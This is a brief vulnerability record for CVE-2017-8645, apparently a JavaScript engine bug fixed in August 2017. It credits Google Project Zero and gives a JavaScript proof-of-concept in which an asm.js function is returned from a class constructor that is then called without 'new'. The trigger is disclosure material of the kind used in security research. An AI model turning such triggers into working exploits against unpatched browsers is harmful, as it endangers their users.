CVE-2017-8645.md

CVE-2017-8645

• Fix: Aug 2017
• Credit: lokihardt of Google Project Zero

PoC

class MyClass {
    f(a) {
        print(a);
    }

    constructor() {
        'use asm';
        function f(v) {
            v = v | 0;
            return v | 0;
        }
        return f;
    }

    f2(a) {
        print(a);
    }
}

MyClass(1);

Reference

• Microsoft
• Google Project Zero